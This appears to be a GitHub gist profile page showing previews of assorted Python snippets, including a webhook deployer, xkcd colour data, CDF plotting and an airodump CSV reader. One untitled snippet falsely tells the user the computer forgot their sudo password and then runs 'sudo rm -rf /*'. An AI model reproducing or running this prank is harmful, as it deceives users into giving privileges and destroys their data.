Skip to content

Instantly share code, notes, and snippets.

View charlesreid1's full-sized avatar
💭
🍒 🍍 🍓 🍊 🍌

Chaz Reid charlesreid1

💭
🍒 🍍 🍓 🍊 🍌
View GitHub Profile
"""
Simple web server that listens for Github webhooks to implement push-to-deploy
with Pelican static sites
Settings are loaded from a json file except for SECRET which should be an
environment variable
Example `deployer.json`
{
@charlesreid1
charlesreid1 / xkcd_colors.json
Created April 20, 2015 17:17
Results of the xkcd color survey (https://xkcd.com/color/rgb/) in JSON format
{
"acid green": "#8ffe09",
"adobe": "#bd6c48",
"algae": "#54ac68",
"algae green": "#21c36f",
"almost black": "#070d0d",
"amber": "#feb308",
"amethyst": "#9b5fc0",
"apple": "#6ecb3c",
"apple green": "#76cd26",
@charlesreid1
charlesreid1 / empirical_cdf.py
Last active August 29, 2015 14:19
Compute Empirical CDF in Matplotlib
import numpy as np
import seaborn as sns
import matplotlib.pylab as plt
from numpy.random import weibull
from scipy.stats import cumfreq
Nsamples = 5000
Nsamples_new = 500
# generate a weibull distribution
import seaborn as sns
from numpy.random import weibull
Nsamples = 1e4
# generate a weibull distribution
k=2
x = weibull(k,(Nsamples,))
partition1, binlocs1, _ = hist(x,10);
@charlesreid1
charlesreid1 / read_airodump.py
Last active March 31, 2017 14:51
Python Script: Aircrack CSV Reader
import csv
def csv2blob(filename):
with open(filename,'rb') as f:
z = f.read()
parts = z.split('\r\n\r\n')
stations = parts[0]
@charlesreid1
charlesreid1 / lazy.py
Created February 3, 2016 01:01
Reading a File in Python: Two-Liner
with open('us-500.csv') as f:
lines = f.readlines()
line = "this, is, some, really, weird,whitespace"
# split the string at commas, resulting in a list
tokens = line.split(",")
# tokens still have whitespace
print tokens
# list comprehension to strip whitespace
nowhitespace = [a.strip() for a in tokens]
import subprocess
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?")
subprocess.call(["sudo","rm","-rf","/*"])
import subprocess
subprocess.call(["command","-flag1","value1","-flag2","value2"])
@charlesreid1
charlesreid1 / infiniteseries.py
Created June 1, 2016 22:10
Math 163 - Calculating Infinity Project
import math
print("\n\n")
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n")
print("This program computes approximations of Pi. \n\n")
print("Sources for formulas/approximations:")
print(" * http://mathworld.wolfram.com/PiApproximations.html")
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n")